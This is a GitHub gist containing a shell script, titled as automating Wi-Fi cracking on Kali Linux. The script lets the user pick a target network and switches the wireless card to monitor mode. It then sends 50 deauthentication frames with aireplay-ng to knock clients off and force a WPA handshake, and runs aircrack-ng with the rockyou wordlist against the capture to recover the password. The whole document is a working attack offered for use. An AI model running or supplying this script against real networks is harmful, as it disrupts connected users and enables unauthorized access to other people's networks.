Created
January 19, 2023 21:26
-
-
Save aldrinjenson/4aa49661b5e212dd975b72d582b600c1 to your computer and use it in GitHub Desktop.
Custom script wo automate wifi cracking in kali linux
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Script to automate wifi cracking | |
# requires kali linux or airmon-ng tools | |
# written to run with dmenu. (apt install dmenu) | |
echo "Scanning and identifying available wifi networks. Choose from dmenu prompt" | |
availableWifiSsids=$(nmcli -t -f ssid d wifi) | |
ssid=$(echo "$availableWifiSsids" | dmenu -p "Choose an SSID:") | |
if [ -z "$ssid" ]; then | |
exit 0 | |
fi | |
# Get the BSSID and CHAN properties for the chosen SSID | |
bssid=$(nmcli d wifi | grep "$ssid" | awk '{print ($1 == "*") ? $2 : $1}') | |
chann=$(nmcli -t -f chan,ssid d wifi | grep "$ssid" | awk -F : '{print $1}') | |
# Print the BSSID and CHAN variables | |
echo "SSID: $ssid" | |
echo "CHAN: $chann" | |
echo "BSSID: $bssid" | |
sudo ifconfig wlan0 down | |
sudo airmon-ng check kill | |
sudo iwconfig wlan0 mode monitor | |
sudo iwconfig wlan0 | |
sudo ifconfig wlan0 up | |
# listen to check if wpa handshake has been made | |
echo "Run the following in a new terminal and stop when the WPA handshake has been made\n" | |
echo "sudo airodump-ng -c $chann --bssid '$bssid' -w '/var/tmp/$ssid' wlan0" | |
echo "\nPress any key to continue" | |
read y | |
# send deauth code | |
sudo aireplay-ng -0 50 -a $bssid wlan0 | |
echo "\nClose the other terminal once wpa handhake has been made. Press any key to continue" | |
read y | |
capFile=$(ls "/var/tmp/$ssid"*.cap | dmenu -p "Choose cap file to crack: ") | |
sudo ifconfig wlan0 down | |
echo "Putting wlan0 to managed mode" | |
sudo iwconfig wlan0 mode managed | |
sudo iwconfig wlan0 | |
sudo ifconfig wlan0 up | |
sudo systemctl start NetworkManager && echo "Network manager started" | |
# cracking | |
sudo aircrack-ng -a2 -b $bssid -w /usr/share/wordlists/rockyou.txt "$capFile" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment